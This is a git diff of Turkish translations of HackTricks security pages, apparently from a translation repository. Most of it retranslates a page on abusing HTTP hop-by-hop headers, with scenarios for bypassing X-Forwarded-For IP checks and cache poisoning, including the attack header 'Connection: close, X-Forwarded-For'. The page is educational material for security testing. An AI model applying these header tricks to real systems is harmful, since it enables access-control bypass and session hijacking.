||||
|
||||
|
@ -84,7 +84,7 @@ Genellikle aşağıdaki bileşenlerden oluşur:
|
|||
* Ek Anahtar/Değer sözlüğü
|
||||
* **Restore Info (IM4R)**:
|
||||
* APNonce olarak da bilinir
|
||||
* Bazı güncellemelerin tekrar oynatılmasını engeller
|
||||
* Bazı güncellemelerin tekrar oynatılmasını önler
|
||||
* İSTEĞE BAĞLI: Genellikle bulunmaz
|
||||
|
||||
Kernelcache'i açın:
|
||||
|
@ -144,6 +144,10 @@ kextex_all kernelcache.release.iphone14.e
|
|||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Hata Ayıklama
|
||||
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
|
|
|
@ -1,60 +1,80 @@
|
|||
# hop-by-hop headers
|
||||
# hop-by-hop başlıkları
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Bu, [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) gönderisinin bir özetidir.**
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hop-by-hop başlıkları, iki düğüm (örneğin, istemci-proxy veya proxy-proxy) arasındaki verileri yönetmek için HTTP/1.1'de kullanılan, tek bir taşıma düzeyi bağlantısına özgü başlıklardır ve iletilmek üzere tasarlanmamıştır. Standart hop-by-hop başlıkları arasında `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` ve `Proxy-Authenticate` yer alır; bunlar [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1) ile tanımlanmıştır. Ek başlıklar, `Connection` başlığı aracılığıyla hop-by-hop olarak belirlenebilir.
|
||||
[**RootedCON**](https://www.rootedcon.com/) **İspanya'daki** en ilgili siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||||
|
||||
### Hop-by-Hop Başlıklarının Suistimali
|
||||
Proxy'ler tarafından hop-by-hop başlıklarının yanlış yönetimi güvenlik sorunlarına yol açabilir. Proxy'lerin bu başlıkları kaldırması beklenirken, hepsi bunu yapmadığı için potansiyel zafiyetler oluşabilir.
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
***
|
||||
|
||||
**Bu,** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) **gönderisinin bir özetidir.**
|
||||
|
||||
Hop-by-hop başlıkları, iki düğüm (örneğin, istemci-proxy veya proxy-proxy) arasında veri yönetimi için HTTP/1.1'de kullanılan, tek bir taşıma düzeyi bağlantısına özgü başlıklardır ve iletilmek üzere tasarlanmamıştır. Standart hop-by-hop başlıkları, [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1) 'da tanımlandığı gibi `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` ve `Proxy-Authenticate` içerir. Ek başlıklar, `Connection` başlığı aracılığıyla hop-by-hop olarak belirlenebilir.
|
||||
|
||||
### Hop-by-Hop Başlıklarını Kötüye Kullanma
|
||||
|
||||
Proxy'ler tarafından hop-by-hop başlıklarının yanlış yönetimi güvenlik sorunlarına yol açabilir. Proxy'lerin bu başlıkları kaldırması beklenirken, hepsi bunu yapmadığı için potansiyel zafiyetler oluşur.
|
||||
|
||||
### Hop-by-Hop Başlık Yönetimini Test Etme
|
||||
|
||||
Hop-by-hop başlıklarının yönetimi, belirli başlıklar hop-by-hop olarak işaretlendiğinde sunucu yanıtlarındaki değişiklikleri gözlemleyerek test edilebilir. Araçlar ve betikler bu süreci otomatikleştirerek, proxy'lerin bu başlıkları nasıl yönettiğini belirleyebilir ve potansiyel yanlış yapılandırmaları veya proxy davranışlarını ortaya çıkarabilir.
|
||||
|
||||
Hop-by-hop başlıklarının suistimali çeşitli güvenlik sonuçlarına yol açabilir. Aşağıda, bu başlıkların potansiyel saldırılar için nasıl manipüle edilebileceğini gösteren birkaç örnek bulunmaktadır:
|
||||
Hop-by-hop başlıklarının kötüye kullanılması çeşitli güvenlik sonuçlarına yol açabilir. Aşağıda, bu başlıkların potansiyel saldırılar için nasıl manipüle edilebileceğini gösteren birkaç örnek bulunmaktadır:
|
||||
|
||||
### `X-Forwarded-For` ile Güvenlik Kontrollerini Aşma
|
||||
Bir saldırgan, IP tabanlı erişim kontrollerini aşmak için `X-Forwarded-For` başlığını manipüle edebilir. Bu başlık, genellikle proxy'ler tarafından bir istemcinin kaynak IP adresini izlemek için kullanılır. Ancak, bir proxy bu başlığı hop-by-hop olarak ele alır ve uygun doğrulama olmadan iletirse, bir saldırgan IP adresini taklit edebilir.
|
||||
|
||||
Bir saldırgan, IP tabanlı erişim kontrollerini aşmak için `X-Forwarded-For` başlığını manipüle edebilir. Bu başlık, genellikle proxy'ler tarafından bir istemcinin kaynak IP adresini izlemek için kullanılır. Ancak, bir proxy bu başlığı hop-by-hop olarak ele alır ve uygun doğrulama olmadan iletirse, bir saldırgan IP adresini sahteleyebilir.
|
||||
|
||||
**Saldırı Senaryosu:**
|
||||
|
||||
1. Saldırgan, `X-Forwarded-For` başlığında sahte bir IP adresi içeren bir HTTP isteği gönderir.
|
||||
2. Saldırgan ayrıca `Connection: close, X-Forwarded-For` başlığını ekler, bu da proxy'nin `X-Forwarded-For`'u hop-by-hop olarak ele almasını sağlar.
|
||||
3. Yanlış yapılandırılmış proxy, sahte `X-Forwarded-For` başlığı olmadan isteği web uygulamasına iletir.
|
||||
4. Web uygulaması, orijinal `X-Forwarded-For` başlığını görmediği için isteği güvenilir bir proxy'den geliyormuş gibi değerlendirebilir ve yetkisiz erişime izin verebilir.
|
||||
|
||||
### Hop-by-Hop Başlık Enjeksiyonu ile Önbellek Zehirleme
|
||||
|
||||
Eğer bir önbellek sunucusu hop-by-hop başlıklarına dayanarak içeriği yanlış bir şekilde önbelleğe alırsa, bir saldırgan kötü niyetli başlıklar enjekte ederek önbelleği zehirleyebilir. Bu, aynı kaynağı talep eden kullanıcılara yanlış veya kötü niyetli içerik sunar.
|
||||
|
||||
**Saldırı Senaryosu:**
|
||||
1. Bir saldırgan, önbelleğe alınmaması gereken bir hop-by-hop başlığı (örneğin, `Connection: close, Cookie`) ile bir web uygulamasına istek gönderir.
|
||||
|
||||
1. Bir saldırgan, önbelleğe alınmaması gereken bir hop-by-hop başlığı ile bir web uygulamasına istek gönderir (örneğin, `Connection: close, Cookie`).
|
||||
2. Kötü yapılandırılmış önbellek sunucusu hop-by-hop başlığını kaldırmaz ve yanıtı saldırganın oturumuna özgü olarak önbelleğe alır.
|
||||
3. Aynı kaynağı talep eden gelecekteki kullanıcılar, saldırgana özel olarak hazırlanmış önbelleğe alınmış yanıtı alır; bu da oturum kaçırma veya hassas bilgilerin ifşasına yol açabilir.
|
||||
3. Aynı kaynağı talep eden gelecekteki kullanıcılar, saldırgana özel olarak hazırlanmış önbellek yanıtını alır, bu da oturum kaçırma veya hassas bilgilerin ifşasına yol açabilir.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) **İspanya'daki** en ilgili siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue